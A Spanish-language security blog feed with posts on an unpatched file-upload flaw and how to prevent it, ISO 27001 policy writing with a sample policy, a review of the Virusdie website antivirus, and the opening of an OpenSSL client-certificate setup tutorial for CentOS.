tag:blogger.com,1999:blog-49937547863506170362025-05-29T20:09:25.158-05:00Blog personal Sobre seguridad de la informacion, con actualidades de las normas de seguridad, Ethical Hacking, manuales y tutoriales de lenguajes de programación- codigos fuentes y NoticiasAtoiohttp://www.blogger.com/profile/05839122536208921999noreply@blogger.comBlogger55125tag:blogger.com,1999:blog-4993754786350617036.post-53338845006512585032018-04-27T09:31:00.001-05:002018-04-27T09:31:58.090-05:00La programación segura no es mas que las buenas practicas o metodologías aplicadas al desarrollo de software, las validaciones de código o en este caso de las extensiones de los archivos que los usuarios suben a través de un formulario diseñado para este propósito no se deben obviar.<br /> <br /> Hoy en día es lamentable ver como grandes compañías, continúan omitiendo las buenas practicas, como también las de contar con personas especializadas en seguridad o RedTeam, para las pruebas de seguridad a las aplicaciones que están por salir a producción.<br /> <br /> Escribo este articulo, ya que hace casi un año identifique un simple error en un formulario de carga de archivo en una gran compañía de telecomunicaciones en Colombia. la cual permite otorgar un acceso al servidor y posteriormente acceso completo a traves de uno de los usuarios y su llave SSH, el cual notifique en su momento. y es mas lamentable que a dia de hoy esta vulnerabilidad siga presente.<br /> <br /> <b>Correo de notificación:</b><br /> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgB0jpP19me7n8168fZ2VmjzGPEO0EsT8Avh-CPQN2Sk7FprshID-OfF0zKxzC-Ubm7mEllmvBYSttWRsJ7J4hNBdaV4FlbloDfwdHbqKiNuEE5nO3VwMsUWJQ1PktIJyDW9F0r5doRa4A/s1600/correo.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1500" data-original-width="917" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgB0jpP19me7n8168fZ2VmjzGPEO0EsT8Avh-CPQN2Sk7FprshID-OfF0zKxzC-Ubm7mEllmvBYSttWRsJ7J4hNBdaV4FlbloDfwdHbqKiNuEE5nO3VwMsUWJQ1PktIJyDW9F0r5doRa4A/s1600/correo.png" /></a></div> <br /> <br /> <div> <br /> En su momento se recibió una respuesta, pero al parecer las diferentes áreas no se comunican o su dpto de ciberseguridad esta muy verde o simplemente no existe.<br /> <br /> A pesar de ser una vulnerabilidad de hace décadas es la falta de validación la que permite que hoy en dia se puedan seguir explotando.<br /> <br /> <b>¿Como evitarlo?</b><br /> Existen miles de forma de realizar validaciones a las extensiones o archivos que se estén subiendo de acuerdo al tipo de archivo y del lenguaje de programación.</div> <ol> <li><b>Hacer uso de&nbsp;.htaccess:</b>&nbsp;Este simple archivo siempre sera un aliado y puede ser una capa mas de seguridad en el caso de contar con mejores opciones. de lo posible siempre ubicar el archivo en la raiz no en la misma carpeta que se desea proteger.</li> <li><b>Realice validaciones del lado cliente y servidor: </b>Las validaciones no pueden ser en un solo lado, siempre optar por validar tanto del lado cliente como en el servidor, valide el MIME Type, valide el encabezado, compruebe las expresiones regulares del archivo, compruebe las extensiones, limpie las dobles o multiples extensiones</li> <li><b>Realice listas blancas, nunca lista negras: </b>Las listas negras siempre tendrán como desventajas el tratar de conocer lo desconocido. opte por lo que conoce.</li> <li><b>Realice pruebas de seguridad: </b>Siempre es bueno contratar los servicios de un tercero para realizar pruebas de ethical hacking cuando el servicio o aplicación saldrá a producción y sera accesible por miles o millones de usuarios.</li> </ol> <br /> <br /> <br /> <br /> <br />Atoiohttp://www.blogger.com/profile/05839122536208921999noreply@blogger.com0tag:blogger.com,1999:blog-4993754786350617036.post-23395205940422522862015-07-06T14:51:00.002-05:002015-07-06T14:51:06.716-05:00<div style="text-align: justify;"> En el &nbsp;desarrollo de la organización de gestión de seguridad de la información, lo que puedo se puede llegar a decir de la política de seguridad de la información es que ademas de ser un documento exigido por la norma es uno de los documento mas útil e importante en la gestión de la seguridad de la información.<br /> <br /> Pero redactar una política de seginfo no es tan facil como parece. Este documento es uno de los primeros requisitos exigidos por la norma <b>ISO 27001</b>, en el marco del desarrollo del <b>SGSI</b> (<b>S</b>istema de <b>G</b>estión de la <b>S</b>eguridad de la <b>I</b>nformación), pero el trabajo técnico y redacción de este no puede ser completamente implementado en los primeros pasos de la construcción del <b>SGSI.</b><br /> <br /> Esta debe ser redactada gradualmente en cada etapa del desarrollo, implementación, monitoreo, evaluación y mejora del <b>SGSI</b>.<br /> <br /> <b><span style="font-size: x-large;">NTC-ISO / IEC 27001</span></b><br /> <b><span style="font-size: x-large;"><br /></span></b> De acuerdo con los requisitos de la norma <b>ISO / IEC 27001. </b>La organización debería hacer lo siguiente:<br /> Definir una política SGSI basada en las características de la organización de la empresa, su ubicación, sus activos y tecnología que:<br /> <ul> <li>Incluye el concepto, los objetivos, directrices y principios para la acción en el campo de la seguridad de la información.</li> <li>Tiene en cuenta las necesidades de la empresa, los requisitos legales y reglamentarios, y las obligaciones de seguridad contractuales.</li> <li>Es coherente con el contenido estratégico de la organización, la gestión de riesgos en el marco de los cuales se ha desarrollado y mantenido el SGSI.</li> <li>Establece los criterios para la evaluación y tratamiento de riesgos.</li> <li>Es aprobado por la alta gerencia.</li> </ul> <br /> <div> <b><span style="font-size: x-large;">NTC-ISO / IEC 27002</span></b></div> <div> <br /></div> <div> Desde el punto de vista de la norma, el propósito de la política de seguridad de la información es:</div> <div> Asegurar la gestión, apoyo de la gerencia hacia la seguridad de la información de acuerdo con los requerimientos del negocio, las leyes y reglamentos pertinentes.</div> <div> <br /></div> <div> La alta gerencia debe establecer una dirección clara en línea con los objetivos del negocio y demostrar su apoyo y compromiso con respecto a la seguridad de la información a través del desarrollo y el apoyo de la política de seginfo dentro de la organización.</div> <div> <br /></div> <div> Se deben establecer contactos con especialistas externos o grupos expertos en seguridad, tambien deben ser incluidas las autoridades competentes, para mantenerse al tanto de las tendencias de la industria, estándares y métodos de evaluación, &nbsp;para proporcionar los puntos adecuados de contacto al manejar eventos e incidentes de seguridad de la información. Ademas se debe fomentar un enfoque multidisciplinario para la seguridad de la información.</div> <div> <br /></div> <div> La Política de Seguridad debe ser aprobada por la alta gerencia, debe ser publicada y comunicada a todos los empleados de la organización y los terceros pertinentes a través de la alta gerencia.</div> <div> <br /></div> <div> Se debe de establecer la responsabilidad de gestión, así como para presentar el enfoque de la organización para la gestión de seguridad de la información. El documento, que establece una política debe incluir disposiciones relativas a:</div> <div> <ul> <li>Definición de seguridad de la información, sus objetivos generales y ámbito de aplicación, así como los valores de referencia de seguridad como una herramienta que ofrece la posibilidad de compartir la información.</li> <li>El apoyo a los objetivos y principios de la seguridad de la información en línea con la estrategia y los objetivos de negocio.</li> <li>Un Enfoque para el establecimiento de medidas y herramientas para el monitoreo y control de los efectos, y su aplicación, incluyendo la estructura de la evaluación de riesgos y gestión de riesgos.</li> <li>Una breve explicación de los más esencial para la organización en cuanto a las políticas de seguridad, los principios, las normas y los requisitos de cumplimiento, tales como:</li> </ul> <ul type="Circle"> <li>Cumplimiento de los requisitos legales y las obligaciones contractuales</li> <li>Concienciar, la educación y la formación en materia de seguridad.</li> <li>Gestión de la continuidad del negocio.</li> <li>Responsable de las violaciones de la política de SegInfo</li> <li>La determinación de las obligaciones generales y específicas de los empleados bajo la gestión de seguridad de la información, incluyendo los incidentes de seguridad de la información.</li> <li>Enlaces a documentos que complementan la política de seguridad de la información, como las políticas más detalladas y procedimientos de seguridad para los sistemas de información específicos, así como las normas de seguridad que deben seguir los usuarios.</li> </ul> <div> <br /></div> </div> <div> Esta política de la seguridad de la información debe darse a conocerse a todo personal de la organización de forma relevante, accesible y compresible . de aquí la construcción de ideas y mecanismos para llegar a concienciar a empleados en sus diferentes areas.</div> <div> <br /></div> <div> Si esta es distribuida a terceros debe existir un apartado a la no divulgación del contenido y protegida toda información bajo acuerdos de confidencialidad.</div> <div> <br /></div> <div> <b><span style="font-size: x-large;">NTC-ISO / IEC 27003</span></b></div> <div> <br /></div> <div> Este estándar recomienda lo siguiente:</div> <div> Los datos iniciales a tomar:</div> <div> <ul> <li>Prioridades para el desarrollo de SGSI de la organización - Objetivos generalizados y Listado de Requisitos.</li> <li>Elaboración de descripciones de casos de SGSI para el negocio y el plan del proyecto para su aprobación por la alta gerencia y la aprobación original del proyecto SGSI.</li> <li>Alcance y limite del SGSI</li> <li>Definición de requisitos de seguridad de la información para el proceso del SGSI.</li> <li>Determinación de los activos dentro del alcance del SGSI</li> <li>Evaluación de la seguridad de la información.</li> <li>Los resultados de la evaluación de riesgos y la selección de objetivos y controles.</li> <li>Desarrollar una estructura final de la organización para la seguridad de la información</li> <li>Desarrollar un marco para la documentación del SGSI.</li> </ul> <div> <br /></div> </div> <div> Es necesario&nbsp;documentar la posición estratégica de la gestión y administración en relación con los objetivos de seguridad de la información en relación con su uso del SGSI.&nbsp;</div> <div> <br /></div> <div> Los ejemplos de la política de seguridad de la información pueden extraerse de libros de referencia, Internet, comunidades de interés y asociaciones sectoriales de la industria. Las declaraciones y consejos se pueden encontrar en los informes anuales, otros documentos de política o documentos &nbsp;de orientación.</div> <div> <br /></div> <div> En cuanto a la cantidad real de la documentación en la política puede haber diferentes interpretaciones y requisitos. Esta documentación debe ser resumida para que los empleados comprendan la importancia de la política de la organización. Además, debe mostrar claramente cuáles son los objetivos a alcanzar.</div> <div> <br /></div> <div> El tamaño y la estructura de la política de seguridad de la información deben fortalecer algunos documentos utilizados en la siguiente etapa del proceso, para la introducción del SGSI.</div> <div> <br /></div> <div> Para las grandes organizaciones con estructura compleja (por ejemplo, con una amplia gama de diferentes áreas de actividad) puede ser necesaria la creación de una política común y una variedad de políticas de niveles inferiores que se adaptan a las áreas específicas de la actividad.</div> <div> <br /></div> <div> <div> La política propuesta (Con control de versiones) debe ser sometida a verificación cruzada ,establecida y aprobada por la gerencia. Después del establecimiento de grupos o líder de la operación o entidades similares que aprueba la política de seguridad de la información. Para que luego pueda ser comunicada a cada empleado de la organización de una manera adecuada.</div> <div> <br /></div> <div> La salida debe ser un documento que describe politicas y objetivos y los documentos aprobados por la dirección de la política del SGSI. Este documento debe ser aprobado nuevamente en la próxima fase del proyecto, ya que depende de los resultados de la evaluación de riesgos.</div> <div> <br /></div> </div> <div> <b><span style="font-size: x-large;">Politica de ejemplo</span></b></div> <div> <br /></div> <div> El siguiente es un ejemplo de una política de seguridad de la información, mostrando su estructura y un ejemplo del contenido.</div> <div> <br /></div> <div style="text-align: center;"> <span style="text-align: justify;"><span style="font-size: large;"><b>Política</b></span></span><span style="font-size: large;"><b>&nbsp;de seguridad de la&nbsp;información</b></span></div> <div> <br /></div> <div> <b><span style="font-size: large;">Resumen de la&nbsp;</span></b><span style="font-size: large;"><b>política</b></span></div> <div> <br /></div> <div> La información siempre debe protegerse con independencia de su forma y el método de su distribución, transmisión y almacenamiento.</div> <div> <br /></div> <div> <span style="font-size: large;"><b>Introducción</b></span></div> <div> La información puede existir en muchas formas diferentes. Puede ser impresa o escrita en papel, almacenada electrónicamente, transmitida por correo o por el uso de dispositivos electrónicos, o transmitida de forma oral en el curso del diálogo.</div> <div> <br /></div> <div> <div> La redacción de este documento es para concienciar &nbsp;la protección de la información de una variedad de amenazas, diseñado para asegurar la continuidad del negocio, reducir al mínimo el riesgo del negocio y maximizar el retorno de las inversiones y ofrecer oportunidades de negocio.</div> <div> <br /></div> </div> <div> <b style="font-size: x-large;">Alcance</b></div> <div> <div> Esta política se aplica a todos los empleados de la organización.</div> </div> <div> <br /></div> <div> <b style="font-size: x-large;">Objetivos</b></div> <div> <ol> <li>Proteger, &nbsp; preservar &nbsp; y &nbsp; administrar &nbsp; objetivamente &nbsp; la &nbsp; información &nbsp; de &nbsp; la &nbsp;organización.</li> <li>Protección de la información confidencial de los clientes, desarrollo de productos y planes de marketing.</li> <li>Preservar la integridad de los registros contable, Backup, etc...</li> <li>El cumplimiento de los controles de acceso a los recursos de red internos de la organización.</li> </ol> </div> <div> <br /></div> <div> <b style="font-size: x-large;">Responsabilidades</b></div> <div> <ul> <li>Cada ejecutivo es responsable de asegurar que el personal que trabaja bajo su dirección, la protección de la información &nbsp;de acuerdo con las normas de la organización.</li> <li>Los propietarios de activos de información, son responsables de su clasificación, mantenimiento y actualización.</li> <li>Es responsabilidad de la alta gerencia la aprobación de este documento.</li> </ul> </div> <div> <span style="font-size: large;"><b>Políticas</b></span><b style="font-size: x-large;">&nbsp;relacionadas</b></div> <div> <br /></div> <div> Las siguientes políticas detalladas contienen principios y recomendaciones sobre aspectos específicos de seguridad de la información:</div> <div> <br /></div> <div> <ol> <li>Sistema de Gestión de Políticas de Seguridad de la Información (SGSI)</li> <li>Política de control de acceso</li> <li>Politica de escritorios y pantallas limpias</li> <li>Politica de software no autorizados.</li> <li>Politica de copias de seguridad o backup.</li> <li>Politicas de seguridad de teletrabajo.</li> <li>Politicas de intercambio de informacion.</li> <li>Gestion y clasificacion de documentacion.</li> <li>Protecion de la privacidad y la privacidad de los datos.</li> </ol> <div> <div> Todas estas políticas son compatibles con:</div> <div> <br /></div> <div> <ul> <li>Identificación del riesgo, proporcionando los fundamentos de las herramientas de gestión que pueden utilizarse para detectar defectos en el diseño e implementación del sistema.</li> <li>Tratamiento de riesgos, ayudando en la definición de los métodos de procesamiento para las vulnerabilidades y amenazas específicas.</li> </ul> </div> </div> </div> </div> Atoiohttp://www.blogger.com/profile/05839122536208921999noreply@blogger.com0tag:blogger.com,1999:blog-4993754786350617036.post-81516658021152507372015-06-19T11:00:00.000-05:002015-06-20T16:04:50.284-05:00<div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhcSMEXTeh1PWeLobqK4s0JapiVB7ILibtLziHgqKunaU3imUotduw471Ybwdr4D8K2Cq5FMo4pJq-r6lwGoLLuD2Q16asoMXNLDBHx98IWYgj4DcVg6-1Reg_qIVN4uniueiEueERtmuQ/s1600/logo-virusdie.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="118" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhcSMEXTeh1PWeLobqK4s0JapiVB7ILibtLziHgqKunaU3imUotduw471Ybwdr4D8K2Cq5FMo4pJq-r6lwGoLLuD2Q16asoMXNLDBHx98IWYgj4DcVg6-1Reg_qIVN4uniueiEueERtmuQ/s400/logo-virusdie.png" width="400" /></a></div> <br /> Este es un nuevo sistema de alerta de malware en sitios web en su momento se encuentra en su fase beta, pero el sistema se ve prometedor para usuarios comunes y no tan comun.<br /> <br /> <b><span style="font-size: large;">¿Que es Virusdie?</span></b><br /> <b><span style="font-size: large;"><br /></span></b> <br /> <div style="text-align: justify;"> <span class="" style="background-color: white; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.3999996185303px;">Es un AV y FW en la nube diseñado para tratar automáticamente el malware alohado en los sitios web. Segun los desarrolladores protege contra ataques de re-infección, XSS / SQL Injection y actividades sospechosas, e</span><span class="" style="background-color: white; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.3999996185303px;">l servicio está dirigido a webmasters, y cualquier propietario de sitios web, que prefieren pasar el menor tiempo preocupandose por la seguridad de su sitio y hechar a un lado el esfuerzo para analizar, encontrar y eliminar las fuentes y consecuencias de la infección.&nbsp;</span><span class="" style="background-color: white; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.3999996185303px;"><b><a href="https://virusdie.ru/" rel="nofollow" target="_blank">Virusdie</a></b> encuentra y realiza correcciones de código&nbsp;</span><span style="background-color: white; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.3999996185303px;">malicioso</span><span class="" style="background-color: white; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.3999996185303px;">&nbsp;automáticamente &nbsp;en PHP, HTML, JS, archivos del sistema y archivos disfrazado como una imagen (Troyano), y después del tratamiento el rendimiento por el recurso se almacena.&nbsp;</span><span style="background-color: white; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.3999996185303px;">El servicio puede trabajar directamente con una variedad de sitios de usuario y no requiere instalación o configuración. Tan solo de una verificacion de la propiedad del sitio con el típico archivo de verificación que debe ser alohado en la raiz del&nbsp;</span><span style="background-color: white; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.3999996185303px;">sitio.</span></div> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhJt7FJmiiaRLuz3p8FUsKP4XKX7LgHTnBjkjR_EwWdfeC6c8nQXgukaEkYzh62q9RAWn5jCQR0ZWBx1eq7tJT1rvaoUiCsOL8Tiv_CID3blqoHHjF-jMUkpUVt1QgICjdi4ppkiLWp6i8/s1600/25ccbf13636847c3a605d1242ed2dfd0.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="384" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhJt7FJmiiaRLuz3p8FUsKP4XKX7LgHTnBjkjR_EwWdfeC6c8nQXgukaEkYzh62q9RAWn5jCQR0ZWBx1eq7tJT1rvaoUiCsOL8Tiv_CID3blqoHHjF-jMUkpUVt1QgICjdi4ppkiLWp6i8/s640/25ccbf13636847c3a605d1242ed2dfd0.jpg" width="640" /></a></div> <div style="text-align: justify;"> <span style="background-color: white; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.3999996185303px;"><br /></span></div> <div style="text-align: justify;"> <span style="background-color: white; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.3999996185303px;"><br /></span></div> <div style="text-align: justify;"> <span style="background-color: white;"><span style="font-family: Verdana, sans-serif;"><span style="font-size: 14px; line-height: 22.3999996185303px;">EL programa es de origen ruso asi que la web de administracion esta por el momento en ese idioma a dia de hoy la app ha entrado a una fase de&nbsp;suscripción, realmente no me gusta hacerle publicidad a un software de pago. pero la app tiene un buen rendimiento y su uso es relativamente faciil para cualquier usario con pocos conocimientos de seguridad.&nbsp;</span></span></span></div> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh72ebwMTADcMfEUVycSPuz9d4KIxmt6b86icKnlV2eJy6bxLAaRxNcwfcb3wRwtO4NOG_IruhLxIZhA7LWuaHQcUDHG8haVFkXKmvbVpbfy3OODFWiHu4Ecue5rGezcTiyDqkivaNkwAA/s1600/tarifa.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="481" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh72ebwMTADcMfEUVycSPuz9d4KIxmt6b86icKnlV2eJy6bxLAaRxNcwfcb3wRwtO4NOG_IruhLxIZhA7LWuaHQcUDHG8haVFkXKmvbVpbfy3OODFWiHu4Ecue5rGezcTiyDqkivaNkwAA/s640/tarifa.png" width="640" /></a></div> <div style="text-align: justify;"> <span style="background-color: white;"><span style="font-family: Verdana, sans-serif;"><span style="font-size: 14px; line-height: 22.3999996185303px;"><br /></span></span></span></div> <div style="text-align: justify;"> <span style="background-color: white;"><span style="font-family: Verdana, sans-serif;"><span style="font-size: 14px; line-height: 22.3999996185303px;">En la app se va agregando los sitios y su&nbsp;respectiva&nbsp;verificación, en sus herramientas de&nbsp;protección&nbsp;incluye un Antivirus y el Firewall, ademas de poder excluir ciertos archivos,</span></span></span></div> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjiMoo40i8saw1tcrhlJzuxnGDEO-qUQ6eyb_CC111s0weJkZMOskfJzreEKmTN3-YkfNXYvSD8fsoGlVw5TGcmmOUSmPTOvGvJq9HZOwOuyQE3u_5DAEyah-XyLkYXKwm6RDK_rI2cfXU/s1600/herramientas.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="290" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjiMoo40i8saw1tcrhlJzuxnGDEO-qUQ6eyb_CC111s0weJkZMOskfJzreEKmTN3-YkfNXYvSD8fsoGlVw5TGcmmOUSmPTOvGvJq9HZOwOuyQE3u_5DAEyah-XyLkYXKwm6RDK_rI2cfXU/s640/herramientas.png" width="640" /></a></div> <div style="text-align: justify;"> <span style="background-color: white;"><span style="font-family: Verdana, sans-serif;"><span style="font-size: 14px; line-height: 22.3999996185303px;"><br /></span></span></span></div> <div style="text-align: justify;"> <span style="background-color: white; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.3999996185303px;"><b>ANTIVIRUS</b></span></div> <div style="text-align: justify;"> <span style="background-color: white;"><span style="font-family: Verdana, sans-serif;"><span style="font-size: 14px; line-height: 22.3999996185303px;">El antivirus nos muestra información detallada sobre los archivos infectados y desinfectados, su número, tiempo de comprobaciones detalladas y ultima operación del malware, el estado del sitio web se identifica a travez de los populares colores. Rojo - amenazas detectadas. Amarillo - error de sincronización. Se puede activar el tratamiento automático de malware, Si este se encuentra activo cualquier amenaza o malware encontrado serán eliminados automáticamente cuando se analiza el sitio. Virusdie no puede eliminar todas las amenazas que detectan automáticamente. algunas deberan ser sanadas o eliminadas manualmente pero igual sera notificado de un posible malware o&nbsp;inyección&nbsp;de&nbsp;código&nbsp;malicioso.</span></span></span></div> <div style="text-align: justify;"> <span style="background-color: white;"><span style="font-family: Verdana, sans-serif;"><span style="font-size: 14px; line-height: 22.3999996185303px;"><br /></span></span></span></div> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh2kQMasRCTBeoiix6sehRXefCxLcV_KPT9_UPBxGWohjWjBCe2I8EVxmoVcCFyXlycANhZTVq2OYA0deybNWQUCATelp9p8taR-zgfdW7WFpwXVVRcHNZV-JpJWuLxwBzqgfpSywqEywQ/s1600/126866148e454f2da120d37827f2e273.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="384" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh2kQMasRCTBeoiix6sehRXefCxLcV_KPT9_UPBxGWohjWjBCe2I8EVxmoVcCFyXlycANhZTVq2OYA0deybNWQUCATelp9p8taR-zgfdW7WFpwXVVRcHNZV-JpJWuLxwBzqgfpSywqEywQ/s640/126866148e454f2da120d37827f2e273.jpg" width="640" /></a></div> <div style="text-align: justify;"> <span style="background-color: white;"><span style="font-family: Verdana, sans-serif;"><span style="font-size: 14px; line-height: 22.3999996185303px;"><br /></span></span></span></div> <div style="text-align: justify;"> <span style="background-color: white;"><span style="font-family: Verdana, sans-serif;"><span style="font-size: 14px; line-height: 22.3999996185303px;"><br /></span></span></span></div> <div style="text-align: justify;"> <span style="background-color: white;"><span style="font-family: Verdana, sans-serif;"><span style="font-size: 14px; line-height: 22.3999996185303px;"><b>FIREWALL</b></span></span></span></div> <div style="text-align: justify;"> <span style="background-color: white;"><span style="font-family: Verdana, sans-serif;"><span style="font-size: 14px; line-height: 22.3999996185303px;">Aun en su etapa de pruebas por el momento e</span></span></span><span style="font-family: Verdana, sans-serif;"><span style="font-size: 14px; line-height: 22.3999996185303px;">stá disponible &nbsp;para los sistemas de administración de Joomla, WordPress, Drupal, DLE, Bitrix, MODX, marco Yii, OpenCart, netcat, CS.Cart, AmiroCMS, HOSTCms y Magento y puede reducir la probabilidad de éxito de los ataques DoS, XSS / SQL Injection y descarga archivos sospechosos.</span></span></div> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgzVRBjzbx6Jfd7djUqCXPcSu9Il6UdTcCMwIqOPabtGfFAilQ3qyP-YzYqKV2e53I9WLYymQx65lXXyVA1IwGnJlya2_7eejhl4g6eox_7S4ujKTLDOQK-5nbYryep624pUv8eA77-Ygo/s1600/401549d58ace48e0aa192842f05ef0e8.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="384" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgzVRBjzbx6Jfd7djUqCXPcSu9Il6UdTcCMwIqOPabtGfFAilQ3qyP-YzYqKV2e53I9WLYymQx65lXXyVA1IwGnJlya2_7eejhl4g6eox_7S4ujKTLDOQK-5nbYryep624pUv8eA77-Ygo/s640/401549d58ace48e0aa192842f05ef0e8.jpg" width="640" /></a></div> <div style="text-align: justify;"> <span style="font-family: Verdana, sans-serif;"><span style="font-size: 14px; line-height: 22.3999996185303px;"><br /></span></span></div> <div style="text-align: justify;"> <span style="font-family: Verdana, sans-serif;"><span style="font-size: 14px; line-height: 22.3999996185303px;"><br /></span></span></div> <div style="text-align: justify;"> <span style="background-color: white;"><span style="font-family: Verdana, sans-serif;"><span style="font-size: 14px; line-height: 22.3999996185303px;"><b>LISTA DE&nbsp;</b></span></span></span><span style="font-family: Verdana, sans-serif;"><span style="font-size: 14px; line-height: 22.3999996185303px;"><b>EXCLUSIÓN</b></span></span></div> <div style="text-align: justify;"> <span style="background-color: white; font-size: 14px; line-height: 22.3999996185303px;"><span style="font-family: Verdana, sans-serif;">Simple, la app hace caso omiso de ciertos archivos durante el analisis del sitio.</span></span></div> <div style="text-align: justify;"> <b style="background-color: white; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.3999996185303px;">ADMINISTRADOR DE ARCHIVOS</b></div> <div style="text-align: justify;"> <span style="background-color: white; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.3999996185303px;">Simplemente eso un administrador de archivos.</span><br /> <span style="background-color: white; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.3999996185303px;"><br /></span> <span style="background-color: white; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.3999996185303px;"><a href="http://habrahabr.ru/company/virusdie/blog/259427/" rel="nofollow" target="_blank">Fuente</a></span></div> Atoiohttp://www.blogger.com/profile/05839122536208921999noreply@blogger.com0tag:blogger.com,1999:blog-4993754786350617036.post-48559603597614829022015-06-05T18:34:00.003-05:002015-06-05T18:34:38.290-05:00<div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh9wAr1b4aAJfKIW9-6gSZYpvJhNF5xPbheXFqbyhI-q6RDyCxG77wecgA5LpkCZyXY5ErTIfAxrBiq4cnaO4lUzZbnP6yMYhwTbRITndpHCb8TXMdNnIvgA3hyphenhyphen9o0gQxJfXo2UIDrDDVo/s1600/openssl-logo.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="172" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh9wAr1b4aAJfKIW9-6gSZYpvJhNF5xPbheXFqbyhI-q6RDyCxG77wecgA5LpkCZyXY5ErTIfAxrBiq4cnaO4lUzZbnP6yMYhwTbRITndpHCb8TXMdNnIvgA3hyphenhyphen9o0gQxJfXo2UIDrDDVo/s640/openssl-logo.png" width="640" /></a></div> <br /> <div style="text-align: justify;"> Todos creo que conocemos <b>OpenSSL </b>la navaja suiza del cifrado&nbsp;y el uso que se les da a los certificados SSL al dia de hoy para proporcionar una conexión segura <b>HTTPS.</b></div> <div style="text-align: justify;"> <b><br /></b></div> <div style="text-align: justify;"> En este post abarcaremos el uso de estos certificados para autenticarnos en un sitio web. Crearemos un sitio web que solo sea accedido o sea visible para ciertos clientes o personas que posean el certificado llave(Publica).<br /> <br /> Este post se ha generado para aquellos que han tenido problemas de realizar esta tarea en servidores CentOS. ;)</div> <div style="text-align: justify;"> <br /></div> <div style="text-align: justify;"> <b><span style="font-size: large;">Escenario:</span></b></div> <div style="text-align: justify;"> <br /></div> <div style="text-align: justify;"> <b>OpenSSL</b><br /> <b>Mod-SSL</b></div> <div style="text-align: justify;"> <b>Apache</b><br /> <b>CentOS 6.3</b></div> <div style="text-align: justify;"> <span style="font-size: large;"><b><br /></b></span></div> <div style="text-align: justify;"> <span style="font-size: large;"><b>Instalación de OpenSSL</b></span></div> <div style="text-align: justify;"> Pasaremos a instalar OpenSSL y el respectivo modulo SSL para el servidor web (APACHE) en nuestro servidor y crearemos los certificados necesario. el modulo es necesario para que apache interactué con Openssl y este viene los repositorios de Centos 6.3 y también en EPEL.</div> <div style="text-align: justify;"> <br /></div> <!-- HTML generated using hilite.me --><br /> <div style="background: #ffffff; border-width: .1em .1em .1em .8em; border: solid gray; overflow: auto; padding: .2em .6em; width: auto;"> <pre style="line-height: 125%; margin: 0;"><span style="color: #c65d09; font-weight: bold;">[root@localhost ~]#</span> yum install openssl </pre> <pre style="line-height: 125%; margin: 0;"><span style="color: #c65d09; font-weight: bold;">[root@localhost ~]#</span> yum install mod_ssl </pre> </div> <div style="text-align: justify;"> <br /></div> <div style="text-align: justify;"> Una vez tengamos instalado <b>OpenSSL </b>y el modulo <b>SSL </b>para apache&nbsp;pasaremos a crear los certificados (Privada y publica). si sera un cifrado asimetrico, ya que es conveniente para el sistema plantado.<br /> <br /></div> <div style="background: #ffffff; border-width: .1em .1em .1em .8em; border: solid gray; overflow: auto; padding: .2em .6em; width: auto;"> <pre style="line-height: 125%; margin: 0;"><span style="color: #c65d09; font-weight: bold;">[root@localhost ~]#</span> openssl genrsa -des3 -out server.key 2048 <span style="color: #888888;">Generating RSA private key, 2048 bit long modulus</span> <span style="color: #888888;">............+++</span> <span style="color: #888888;">...............................................+++</span> <span style="color: #888888;">e is 65537 (0x10001)</span> <span style="color: #888888;">Enter pass phrase for server.key:</span> <span style="color: #888888;">Verifying - Enter pass phrase for server.key:</span> </pre> </div> <div style="text-align: justify;"> <br /> Como ven en el comando estamos solicitando que nuestra clave sea de 2048 bits, una vez ejecutado el comando antes de generar la clave privada nos solicitara ingresar una contraseña, esta es para proteger el archivo de posibles descifrado.<br /> <br /> Ya que tenemos nuestra llave privada pasaremos a crear el certificado a firmar y llenarlo con los datos necesarios del servidor, dominio o empresa. este certificado sera el identificador de nuestro servidor, dominio o empresa.<br /> <br /> <div style="background: #ffffff; border-width: .1em .1em 